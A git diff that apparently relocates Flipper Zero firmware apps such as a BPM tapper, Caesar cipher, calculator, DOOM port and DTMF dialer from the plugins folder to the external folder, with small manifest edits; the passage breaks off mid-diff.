diff --git a/applications/plugins/bpmtapper/application.fam b/applications/external/bpmtapper/application.fam similarity index 95% rename from applications/plugins/bpmtapper/application.fam rename to applications/external/bpmtapper/application.fam index b6ad315b6..93c4179c5 100644 --- a/applications/plugins/bpmtapper/application.fam +++ b/applications/external/bpmtapper/application.fam @@ -7,7 +7,7 @@ App( requires=["gui"], stack_size=2 * 1024, fap_icon="bpm_10px.png", - fap_icon_assets="icons", fap_category="Music", - order=35, + fap_icon_assets="icons", + order=15, ) diff --git a/applications/plugins/bpmtapper/bpm.c b/applications/external/bpmtapper/bpm.c similarity index 100% rename from applications/plugins/bpmtapper/bpm.c rename to applications/external/bpmtapper/bpm.c diff --git a/applications/plugins/bpmtapper/bpm_10px.png b/applications/external/bpmtapper/bpm_10px.png similarity index 100% rename from applications/plugins/bpmtapper/bpm_10px.png rename to applications/external/bpmtapper/bpm_10px.png diff --git a/applications/plugins/bpmtapper/icons/DolphinCommon_56x48.png b/applications/external/bpmtapper/icons/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/bpmtapper/icons/DolphinCommon_56x48.png rename to applications/external/bpmtapper/icons/DolphinCommon_56x48.png diff --git a/applications/plugins/bpmtapper/img/screenshot.png b/applications/external/bpmtapper/img/screenshot.png similarity index 100% rename from applications/plugins/bpmtapper/img/screenshot.png rename to applications/external/bpmtapper/img/screenshot.png diff --git a/applications/plugins/brainfuck/application.fam b/applications/external/brainfuck/application.fam similarity index 100% rename from applications/plugins/brainfuck/application.fam rename to applications/external/brainfuck/application.fam diff --git a/applications/plugins/brainfuck/bfico.png b/applications/external/brainfuck/bfico.png similarity index 100% rename from applications/plugins/brainfuck/bfico.png rename to applications/external/brainfuck/bfico.png diff --git a/applications/plugins/brainfuck/brainfuck.c b/applications/external/brainfuck/brainfuck.c similarity index 100% rename from applications/plugins/brainfuck/brainfuck.c rename to applications/external/brainfuck/brainfuck.c diff --git a/applications/plugins/brainfuck/brainfuck.h b/applications/external/brainfuck/brainfuck.h similarity index 100% rename from applications/plugins/brainfuck/brainfuck.h rename to applications/external/brainfuck/brainfuck.h diff --git a/applications/plugins/brainfuck/brainfuck_i.h b/applications/external/brainfuck/brainfuck_i.h similarity index 100% rename from applications/plugins/brainfuck/brainfuck_i.h rename to applications/external/brainfuck/brainfuck_i.h diff --git a/applications/plugins/brainfuck/icons/ButtonRightSmall_3x5.png b/applications/external/brainfuck/icons/ButtonRightSmall_3x5.png similarity index 100% rename from applications/plugins/brainfuck/icons/ButtonRightSmall_3x5.png rename to applications/external/brainfuck/icons/ButtonRightSmall_3x5.png diff --git a/applications/plugins/brainfuck/icons/KeyBackspaceSelected_24x11.png b/applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyBackspaceSelected_24x11.png rename to applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeyBackspace_24x11.png b/applications/external/brainfuck/icons/KeyBackspace_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyBackspace_24x11.png rename to applications/external/brainfuck/icons/KeyBackspace_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeyInputSelected_30x11.png b/applications/external/brainfuck/icons/KeyInputSelected_30x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyInputSelected_30x11.png rename to applications/external/brainfuck/icons/KeyInputSelected_30x11.png diff --git a/applications/plugins/brainfuck/icons/KeyInput_30x11.png b/applications/external/brainfuck/icons/KeyInput_30x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyInput_30x11.png rename to applications/external/brainfuck/icons/KeyInput_30x11.png diff --git a/applications/plugins/brainfuck/icons/KeyRunSelected_24x11.png b/applications/external/brainfuck/icons/KeyRunSelected_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyRunSelected_24x11.png rename to applications/external/brainfuck/icons/KeyRunSelected_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeyRun_24x11.png b/applications/external/brainfuck/icons/KeyRun_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyRun_24x11.png rename to applications/external/brainfuck/icons/KeyRun_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeySaveSelected_24x11.png b/applications/external/brainfuck/icons/KeySaveSelected_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeySaveSelected_24x11.png rename to applications/external/brainfuck/icons/KeySaveSelected_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeySave_24x11.png b/applications/external/brainfuck/icons/KeySave_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeySave_24x11.png rename to applications/external/brainfuck/icons/KeySave_24x11.png diff --git a/applications/plugins/brainfuck/icons/bfico.png b/applications/external/brainfuck/icons/bfico.png similarity index 100% rename from applications/plugins/brainfuck/icons/bfico.png rename to applications/external/brainfuck/icons/bfico.png diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene.c b/applications/external/brainfuck/scenes/brainfuck_scene.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene.c rename to applications/external/brainfuck/scenes/brainfuck_scene.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene.h b/applications/external/brainfuck/scenes/brainfuck_scene.h similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene.h rename to applications/external/brainfuck/scenes/brainfuck_scene.h diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_config.h b/applications/external/brainfuck/scenes/brainfuck_scene_config.h similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_config.h rename to applications/external/brainfuck/scenes/brainfuck_scene_config.h diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_dev.c b/applications/external/brainfuck/scenes/brainfuck_scene_dev.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_dev.c rename to applications/external/brainfuck/scenes/brainfuck_scene_dev.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_exec.c b/applications/external/brainfuck/scenes/brainfuck_scene_exec.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_exec.c rename to applications/external/brainfuck/scenes/brainfuck_scene_exec.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_file_create.c b/applications/external/brainfuck/scenes/brainfuck_scene_file_create.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_file_create.c rename to applications/external/brainfuck/scenes/brainfuck_scene_file_create.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_file_select.c b/applications/external/brainfuck/scenes/brainfuck_scene_file_select.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_file_select.c rename to applications/external/brainfuck/scenes/brainfuck_scene_file_select.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_set_input.c b/applications/external/brainfuck/scenes/brainfuck_scene_set_input.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_set_input.c rename to applications/external/brainfuck/scenes/brainfuck_scene_set_input.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_start.c b/applications/external/brainfuck/scenes/brainfuck_scene_start.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_start.c rename to applications/external/brainfuck/scenes/brainfuck_scene_start.c diff --git a/applications/plugins/brainfuck/views/bf_dev_env.c b/applications/external/brainfuck/views/bf_dev_env.c similarity index 100% rename from applications/plugins/brainfuck/views/bf_dev_env.c rename to applications/external/brainfuck/views/bf_dev_env.c diff --git a/applications/plugins/brainfuck/views/bf_dev_env.h b/applications/external/brainfuck/views/bf_dev_env.h similarity index 100% rename from applications/plugins/brainfuck/views/bf_dev_env.h rename to applications/external/brainfuck/views/bf_dev_env.h diff --git a/applications/plugins/brainfuck/worker.c b/applications/external/brainfuck/worker.c similarity index 100% rename from applications/plugins/brainfuck/worker.c rename to applications/external/brainfuck/worker.c diff --git a/applications/plugins/brainfuck/worker.h b/applications/external/brainfuck/worker.h similarity index 100% rename from applications/plugins/brainfuck/worker.h rename to applications/external/brainfuck/worker.h diff --git a/applications/plugins/caesarcipher/LICENSE b/applications/external/caesarcipher/LICENSE similarity index 100% rename from applications/plugins/caesarcipher/LICENSE rename to applications/external/caesarcipher/LICENSE diff --git a/applications/plugins/caesarcipher/application.fam b/applications/external/caesarcipher/application.fam similarity index 88% rename from applications/plugins/caesarcipher/application.fam rename to applications/external/caesarcipher/application.fam index 652585de2..4f438d2b3 100644 --- a/applications/plugins/caesarcipher/application.fam +++ b/applications/external/caesarcipher/application.fam @@ -1,7 +1,7 @@ App( appid="Caesar_Cipher", name="Caesar Cipher", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="caesar_cipher_app", cdefines=["APP_CAESAR_CIPHER"], requires=[ diff --git a/applications/plugins/caesarcipher/caesar_cipher.c b/applications/external/caesarcipher/caesar_cipher.c similarity index 100% rename from applications/plugins/caesarcipher/caesar_cipher.c rename to applications/external/caesarcipher/caesar_cipher.c diff --git a/applications/plugins/caesarcipher/caesar_cipher_icon.png b/applications/external/caesarcipher/caesar_cipher_icon.png similarity index 100% rename from applications/plugins/caesarcipher/caesar_cipher_icon.png rename to applications/external/caesarcipher/caesar_cipher_icon.png diff --git a/applications/plugins/calculator/application.fam b/applications/external/calculator/application.fam similarity index 100% rename from applications/plugins/calculator/application.fam rename to applications/external/calculator/application.fam diff --git a/applications/plugins/calculator/calcIcon.png b/applications/external/calculator/calcIcon.png similarity index 100% rename from applications/plugins/calculator/calcIcon.png rename to applications/external/calculator/calcIcon.png diff --git a/applications/plugins/calculator/calculator.c b/applications/external/calculator/calculator.c similarity index 100% rename from applications/plugins/calculator/calculator.c rename to applications/external/calculator/calculator.c diff --git a/applications/plugins/calculator/tinyexpr.c b/applications/external/calculator/tinyexpr.c similarity index 100% rename from applications/plugins/calculator/tinyexpr.c rename to applications/external/calculator/tinyexpr.c diff --git a/applications/plugins/calculator/tinyexpr.h b/applications/external/calculator/tinyexpr.h similarity index 100% rename from applications/plugins/calculator/tinyexpr.h rename to applications/external/calculator/tinyexpr.h diff --git a/applications/plugins/cli_bridge/LICENSE b/applications/external/cli_bridge/LICENSE similarity index 100% rename from applications/plugins/cli_bridge/LICENSE rename to applications/external/cli_bridge/LICENSE diff --git a/applications/plugins/cli_bridge/application.fam b/applications/external/cli_bridge/application.fam similarity index 100% rename from applications/plugins/cli_bridge/application.fam rename to applications/external/cli_bridge/application.fam diff --git a/applications/plugins/cli_bridge/cli_control.c b/applications/external/cli_bridge/cli_control.c similarity index 100% rename from applications/plugins/cli_bridge/cli_control.c rename to applications/external/cli_bridge/cli_control.c diff --git a/applications/plugins/cli_bridge/cli_control.h b/applications/external/cli_bridge/cli_control.h similarity index 100% rename from applications/plugins/cli_bridge/cli_control.h rename to applications/external/cli_bridge/cli_control.h diff --git a/applications/plugins/cli_bridge/cligui.png b/applications/external/cli_bridge/cligui.png similarity index 100% rename from applications/plugins/cli_bridge/cligui.png rename to applications/external/cli_bridge/cligui.png diff --git a/applications/plugins/cli_bridge/cligui_main.c b/applications/external/cli_bridge/cligui_main.c similarity index 100% rename from applications/plugins/cli_bridge/cligui_main.c rename to applications/external/cli_bridge/cligui_main.c diff --git a/applications/plugins/cli_bridge/cligui_main_i.h b/applications/external/cli_bridge/cligui_main_i.h similarity index 100% rename from applications/plugins/cli_bridge/cligui_main_i.h rename to applications/external/cli_bridge/cligui_main_i.h diff --git a/applications/plugins/cli_bridge/console_output.c b/applications/external/cli_bridge/console_output.c similarity index 100% rename from applications/plugins/cli_bridge/console_output.c rename to applications/external/cli_bridge/console_output.c diff --git a/applications/plugins/cli_bridge/console_output.h b/applications/external/cli_bridge/console_output.h similarity index 100% rename from applications/plugins/cli_bridge/console_output.h rename to applications/external/cli_bridge/console_output.h diff --git a/applications/plugins/cli_bridge/internal_defs.h b/applications/external/cli_bridge/internal_defs.h similarity index 100% rename from applications/plugins/cli_bridge/internal_defs.h rename to applications/external/cli_bridge/internal_defs.h diff --git a/applications/plugins/cli_bridge/text_input.c b/applications/external/cli_bridge/text_input.c similarity index 100% rename from applications/plugins/cli_bridge/text_input.c rename to applications/external/cli_bridge/text_input.c diff --git a/applications/plugins/cli_bridge/text_input.h b/applications/external/cli_bridge/text_input.h similarity index 100% rename from applications/plugins/cli_bridge/text_input.h rename to applications/external/cli_bridge/text_input.h diff --git a/applications/plugins/cntdown_timer/app.c b/applications/external/cntdown_timer/app.c similarity index 100% rename from applications/plugins/cntdown_timer/app.c rename to applications/external/cntdown_timer/app.c diff --git a/applications/plugins/cntdown_timer/app.h b/applications/external/cntdown_timer/app.h similarity index 100% rename from applications/plugins/cntdown_timer/app.h rename to applications/external/cntdown_timer/app.h diff --git a/applications/plugins/cntdown_timer/application.fam b/applications/external/cntdown_timer/application.fam similarity index 100% rename from applications/plugins/cntdown_timer/application.fam rename to applications/external/cntdown_timer/application.fam diff --git a/applications/plugins/cntdown_timer/cntdown_timer.png b/applications/external/cntdown_timer/cntdown_timer.png similarity index 100% rename from applications/plugins/cntdown_timer/cntdown_timer.png rename to applications/external/cntdown_timer/cntdown_timer.png diff --git a/applications/plugins/cntdown_timer/utils/utils.c b/applications/external/cntdown_timer/utils/utils.c similarity index 100% rename from applications/plugins/cntdown_timer/utils/utils.c rename to applications/external/cntdown_timer/utils/utils.c diff --git a/applications/plugins/cntdown_timer/utils/utils.h b/applications/external/cntdown_timer/utils/utils.h similarity index 100% rename from applications/plugins/cntdown_timer/utils/utils.h rename to applications/external/cntdown_timer/utils/utils.h diff --git a/applications/plugins/cntdown_timer/views/countdown_view.c b/applications/external/cntdown_timer/views/countdown_view.c similarity index 100% rename from applications/plugins/cntdown_timer/views/countdown_view.c rename to applications/external/cntdown_timer/views/countdown_view.c diff --git a/applications/plugins/cntdown_timer/views/countdown_view.h b/applications/external/cntdown_timer/views/countdown_view.h similarity index 100% rename from applications/plugins/cntdown_timer/views/countdown_view.h rename to applications/external/cntdown_timer/views/countdown_view.h diff --git a/applications/plugins/counter/application.fam b/applications/external/counter/application.fam similarity index 84% rename from applications/plugins/counter/application.fam rename to applications/external/counter/application.fam index 8f0147b09..b287965bf 100644 --- a/applications/plugins/counter/application.fam +++ b/applications/external/counter/application.fam @@ -1,7 +1,7 @@ App( appid="counter", name="Counter", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="counterapp", requires=[ "gui", diff --git a/applications/plugins/counter/counter.c b/applications/external/counter/counter.c similarity index 100% rename from applications/plugins/counter/counter.c rename to applications/external/counter/counter.c diff --git a/applications/plugins/counter/icons/counter_icon.png b/applications/external/counter/icons/counter_icon.png similarity index 100% rename from applications/plugins/counter/icons/counter_icon.png rename to applications/external/counter/icons/counter_icon.png diff --git a/applications/plugins/dap_link/application.fam b/applications/external/dap_link/application.fam similarity index 92% rename from applications/plugins/dap_link/application.fam rename to applications/external/dap_link/application.fam index 4dd2e531e..321b9e102 100644 --- a/applications/plugins/dap_link/application.fam +++ b/applications/external/dap_link/application.fam @@ -1,7 +1,7 @@ App( appid="dap_link", name="[GPIO] DAP Link", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="dap_link_app", requires=[ "gui", diff --git a/applications/plugins/dap_link/dap_config.h b/applications/external/dap_link/dap_config.h similarity index 100% rename from applications/plugins/dap_link/dap_config.h rename to applications/external/dap_link/dap_config.h diff --git a/applications/plugins/dap_link/dap_link.c b/applications/external/dap_link/dap_link.c similarity index 100% rename from applications/plugins/dap_link/dap_link.c rename to applications/external/dap_link/dap_link.c diff --git a/applications/plugins/dap_link/dap_link.h b/applications/external/dap_link/dap_link.h similarity index 100% rename from applications/plugins/dap_link/dap_link.h rename to applications/external/dap_link/dap_link.h diff --git a/applications/plugins/dap_link/dap_link.png b/applications/external/dap_link/dap_link.png similarity index 100% rename from applications/plugins/dap_link/dap_link.png rename to applications/external/dap_link/dap_link.png diff --git a/applications/plugins/dap_link/gui/dap_gui.c b/applications/external/dap_link/gui/dap_gui.c similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui.c rename to applications/external/dap_link/gui/dap_gui.c diff --git a/applications/plugins/dap_link/gui/dap_gui.h b/applications/external/dap_link/gui/dap_gui.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui.h rename to applications/external/dap_link/gui/dap_gui.h diff --git a/applications/plugins/dap_link/gui/dap_gui_custom_event.h b/applications/external/dap_link/gui/dap_gui_custom_event.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui_custom_event.h rename to applications/external/dap_link/gui/dap_gui_custom_event.h diff --git a/applications/plugins/dap_link/gui/dap_gui_i.h b/applications/external/dap_link/gui/dap_gui_i.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui_i.h rename to applications/external/dap_link/gui/dap_gui_i.h diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene.c b/applications/external/dap_link/gui/scenes/config/dap_scene.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene.c rename to applications/external/dap_link/gui/scenes/config/dap_scene.c diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene.h b/applications/external/dap_link/gui/scenes/config/dap_scene.h similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene.h rename to applications/external/dap_link/gui/scenes/config/dap_scene.h diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene_config.h b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene_config.h rename to applications/external/dap_link/gui/scenes/config/dap_scene_config.h diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_about.c b/applications/external/dap_link/gui/scenes/dap_scene_about.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_about.c rename to applications/external/dap_link/gui/scenes/dap_scene_about.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_config.c b/applications/external/dap_link/gui/scenes/dap_scene_config.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_config.c rename to applications/external/dap_link/gui/scenes/dap_scene_config.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_help.c b/applications/external/dap_link/gui/scenes/dap_scene_help.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_help.c rename to applications/external/dap_link/gui/scenes/dap_scene_help.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_main.c b/applications/external/dap_link/gui/scenes/dap_scene_main.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_main.c rename to applications/external/dap_link/gui/scenes/dap_scene_main.c diff --git a/applications/plugins/dap_link/gui/views/dap_main_view.c b/applications/external/dap_link/gui/views/dap_main_view.c similarity index 100% rename from applications/plugins/dap_link/gui/views/dap_main_view.c rename to applications/external/dap_link/gui/views/dap_main_view.c diff --git a/applications/plugins/dap_link/gui/views/dap_main_view.h b/applications/external/dap_link/gui/views/dap_main_view.h similarity index 100% rename from applications/plugins/dap_link/gui/views/dap_main_view.h rename to applications/external/dap_link/gui/views/dap_main_view.h diff --git a/applications/plugins/dap_link/icons/ActiveConnection_50x64.png b/applications/external/dap_link/icons/ActiveConnection_50x64.png similarity index 100% rename from applications/plugins/dap_link/icons/ActiveConnection_50x64.png rename to applications/external/dap_link/icons/ActiveConnection_50x64.png diff --git a/applications/plugins/dap_link/icons/ArrowDownEmpty_12x18.png b/applications/external/dap_link/icons/ArrowDownEmpty_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowDownEmpty_12x18.png rename to applications/external/dap_link/icons/ArrowDownEmpty_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowDownFilled_12x18.png b/applications/external/dap_link/icons/ArrowDownFilled_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowDownFilled_12x18.png rename to applications/external/dap_link/icons/ArrowDownFilled_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowUpEmpty_12x18.png b/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowUpEmpty_12x18.png rename to applications/external/dap_link/icons/ArrowUpEmpty_12x18.png diff --git a/applications/plugins/dap_link/icons/ArrowUpFilled_12x18.png b/applications/external/dap_link/icons/ArrowUpFilled_12x18.png similarity index 100% rename from applications/plugins/dap_link/icons/ArrowUpFilled_12x18.png rename to applications/external/dap_link/icons/ArrowUpFilled_12x18.png diff --git a/applications/plugins/dap_link/lib/free-dap b/applications/external/dap_link/lib/free-dap similarity index 100% rename from applications/plugins/dap_link/lib/free-dap rename to applications/external/dap_link/lib/free-dap diff --git a/applications/plugins/dap_link/usb/dap_v2_usb.c b/applications/external/dap_link/usb/dap_v2_usb.c similarity index 100% rename from applications/plugins/dap_link/usb/dap_v2_usb.c rename to applications/external/dap_link/usb/dap_v2_usb.c diff --git a/applications/plugins/dap_link/usb/dap_v2_usb.h b/applications/external/dap_link/usb/dap_v2_usb.h similarity index 100% rename from applications/plugins/dap_link/usb/dap_v2_usb.h rename to applications/external/dap_link/usb/dap_v2_usb.h diff --git a/applications/plugins/dap_link/usb/usb_winusb.h b/applications/external/dap_link/usb/usb_winusb.h similarity index 100% rename from applications/plugins/dap_link/usb/usb_winusb.h rename to applications/external/dap_link/usb/usb_winusb.h diff --git a/applications/plugins/doom/application.fam b/applications/external/doom/application.fam similarity index 89% rename from applications/plugins/doom/application.fam rename to applications/external/doom/application.fam index d9ae4d67d..4ff7b12f3 100644 --- a/applications/plugins/doom/application.fam +++ b/applications/external/doom/application.fam @@ -3,7 +3,6 @@ App( name="DOOM", apptype=FlipperAppType.EXTERNAL, entry_point="doom_app", - cdefines=["APP_DOOM_GAME"], requires=[ "gui", "music_player", diff --git a/applications/plugins/doom/assets/door2.png b/applications/external/doom/assets/door2.png similarity index 100% rename from applications/plugins/doom/assets/door2.png rename to applications/external/doom/assets/door2.png diff --git a/applications/plugins/doom/assets/door_inv.png b/applications/external/doom/assets/door_inv.png similarity index 100% rename from applications/plugins/doom/assets/door_inv.png rename to applications/external/doom/assets/door_inv.png diff --git a/applications/plugins/doom/assets/fire_inv.png b/applications/external/doom/assets/fire_inv.png similarity index 100% rename from applications/plugins/doom/assets/fire_inv.png rename to applications/external/doom/assets/fire_inv.png diff --git a/applications/plugins/doom/assets/fireball_inv.png b/applications/external/doom/assets/fireball_inv.png similarity index 100% rename from applications/plugins/doom/assets/fireball_inv.png rename to applications/external/doom/assets/fireball_inv.png diff --git a/applications/plugins/doom/assets/fireball_mask_inv.png b/applications/external/doom/assets/fireball_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/fireball_mask_inv.png rename to applications/external/doom/assets/fireball_mask_inv.png diff --git a/applications/plugins/doom/assets/gradient_inv.png b/applications/external/doom/assets/gradient_inv.png similarity index 100% rename from applications/plugins/doom/assets/gradient_inv.png rename to applications/external/doom/assets/gradient_inv.png diff --git a/applications/plugins/doom/assets/gun_inv.png b/applications/external/doom/assets/gun_inv.png similarity index 100% rename from applications/plugins/doom/assets/gun_inv.png rename to applications/external/doom/assets/gun_inv.png diff --git a/applications/plugins/doom/assets/gun_mask_inv.png b/applications/external/doom/assets/gun_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/gun_mask_inv.png rename to applications/external/doom/assets/gun_mask_inv.png diff --git a/applications/plugins/doom/assets/imp_inv.png b/applications/external/doom/assets/imp_inv.png similarity index 100% rename from applications/plugins/doom/assets/imp_inv.png rename to applications/external/doom/assets/imp_inv.png diff --git a/applications/plugins/doom/assets/imp_mask_inv.png b/applications/external/doom/assets/imp_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/imp_mask_inv.png rename to applications/external/doom/assets/imp_mask_inv.png diff --git a/applications/plugins/doom/assets/item_inv.png b/applications/external/doom/assets/item_inv.png similarity index 100% rename from applications/plugins/doom/assets/item_inv.png rename to applications/external/doom/assets/item_inv.png diff --git a/applications/plugins/doom/assets/item_mask_inv.png b/applications/external/doom/assets/item_mask_inv.png similarity index 100% rename from applications/plugins/doom/assets/item_mask_inv.png rename to applications/external/doom/assets/item_mask_inv.png diff --git a/applications/plugins/doom/assets/logo_inv.png b/applications/external/doom/assets/logo_inv.png similarity index 100% rename from applications/plugins/doom/assets/logo_inv.png rename to applications/external/doom/assets/logo_inv.png diff --git a/applications/plugins/doom/assets/screenshot-imp2.jpg b/applications/external/doom/assets/screenshot-imp2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-imp2.jpg rename to applications/external/doom/assets/screenshot-imp2.jpg diff --git a/applications/plugins/doom/assets/screenshot-intro2.jpg b/applications/external/doom/assets/screenshot-intro2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-intro2.jpg rename to applications/external/doom/assets/screenshot-intro2.jpg diff --git a/applications/plugins/doom/assets/screenshot-medkit2.jpg b/applications/external/doom/assets/screenshot-medkit2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-medkit2.jpg rename to applications/external/doom/assets/screenshot-medkit2.jpg diff --git a/applications/plugins/doom/assets/screenshot-start2.jpg b/applications/external/doom/assets/screenshot-start2.jpg similarity index 100% rename from applications/plugins/doom/assets/screenshot-start2.jpg rename to applications/external/doom/assets/screenshot-start2.jpg diff --git a/applications/plugins/doom/assets/screenshot1.png b/applications/external/doom/assets/screenshot1.png similarity index 100% rename from applications/plugins/doom/assets/screenshot1.png rename to applications/external/doom/assets/screenshot1.png diff --git a/applications/plugins/doom/assets/screenshot2.png b/applications/external/doom/assets/screenshot2.png similarity index 100% rename from applications/plugins/doom/assets/screenshot2.png rename to applications/external/doom/assets/screenshot2.png diff --git a/applications/plugins/doom/assets/screenshot3.png b/applications/external/doom/assets/screenshot3.png similarity index 100% rename from applications/plugins/doom/assets/screenshot3.png rename to applications/external/doom/assets/screenshot3.png diff --git a/applications/plugins/doom/compiled/assets_icons.c b/applications/external/doom/compiled/assets_icons.c similarity index 100% rename from applications/plugins/doom/compiled/assets_icons.c rename to applications/external/doom/compiled/assets_icons.c diff --git a/applications/plugins/doom/compiled/assets_icons.h b/applications/external/doom/compiled/assets_icons.h similarity index 100% rename from applications/plugins/doom/compiled/assets_icons.h rename to applications/external/doom/compiled/assets_icons.h diff --git a/applications/plugins/doom/constants.h b/applications/external/doom/constants.h similarity index 100% rename from applications/plugins/doom/constants.h rename to applications/external/doom/constants.h diff --git a/applications/plugins/doom/display.h b/applications/external/doom/display.h similarity index 100% rename from applications/plugins/doom/display.h rename to applications/external/doom/display.h diff --git a/applications/plugins/doom/doom.c b/applications/external/doom/doom.c similarity index 100% rename from applications/plugins/doom/doom.c rename to applications/external/doom/doom.c diff --git a/applications/plugins/doom/doom_10px.png b/applications/external/doom/doom_10px.png similarity index 100% rename from applications/plugins/doom/doom_10px.png rename to applications/external/doom/doom_10px.png diff --git a/applications/plugins/doom/doom_music_player_worker.c b/applications/external/doom/doom_music_player_worker.c similarity index 100% rename from applications/plugins/doom/doom_music_player_worker.c rename to applications/external/doom/doom_music_player_worker.c diff --git a/applications/plugins/doom/doom_music_player_worker.h b/applications/external/doom/doom_music_player_worker.h similarity index 100% rename from applications/plugins/doom/doom_music_player_worker.h rename to applications/external/doom/doom_music_player_worker.h diff --git a/applications/plugins/doom/entities.c b/applications/external/doom/entities.c similarity index 100% rename from applications/plugins/doom/entities.c rename to applications/external/doom/entities.c diff --git a/applications/plugins/doom/entities.h b/applications/external/doom/entities.h similarity index 100% rename from applications/plugins/doom/entities.h rename to applications/external/doom/entities.h diff --git a/applications/plugins/doom/level.h b/applications/external/doom/level.h similarity index 100% rename from applications/plugins/doom/level.h rename to applications/external/doom/level.h diff --git a/applications/plugins/doom/sound.h b/applications/external/doom/sound.h similarity index 100% rename from applications/plugins/doom/sound.h rename to applications/external/doom/sound.h diff --git a/applications/plugins/doom/types.c b/applications/external/doom/types.c similarity index 100% rename from applications/plugins/doom/types.c rename to applications/external/doom/types.c diff --git a/applications/plugins/doom/types.h b/applications/external/doom/types.h similarity index 100% rename from applications/plugins/doom/types.h rename to applications/external/doom/types.h diff --git a/applications/plugins/dtmf_dolphin/LICENSE b/applications/external/dtmf_dolphin/LICENSE similarity index 100% rename from applications/plugins/dtmf_dolphin/LICENSE rename to applications/external/dtmf_dolphin/LICENSE diff --git a/applications/plugins/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam similarity index 90% rename from applications/plugins/dtmf_dolphin/application.fam rename to applications/external/dtmf_dolphin/application.fam index 0727f5f52..460f6ded6 100644 --- a/applications/plugins/dtmf_dolphin/application.fam +++ b/applications/external/dtmf_dolphin/application.fam @@ -3,7 +3,6 @@ App( name="DTMF Dolphin", apptype=FlipperAppType.EXTERNAL, entry_point="dtmf_dolphin_app", - cdefines=["DTMF_DOLPHIN"], requires=[ "storage", "gui", diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c similarity index 97% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin.c rename to applications/external/dtmf_dolphin/dtmf_dolphin.c index c1b10defa..732b22ef8 100644 --- a/applications/plugins/dtmf_dolphin/dtmf_dolphin.c +++ b/applications/external/dtmf_dolphin/dtmf_dolphin.c @@ -2,6 +2,7 @@ #include #include +#include static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -82,8 +83,9 @@ int32_t dtmf_dolphin_app(void* p) { UNUSED(p); DTMFDolphinApp* app = app_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); view_dispatcher_run(app->view_dispatcher); app_free(app); return 0; -} \ No newline at end of file +} diff --git 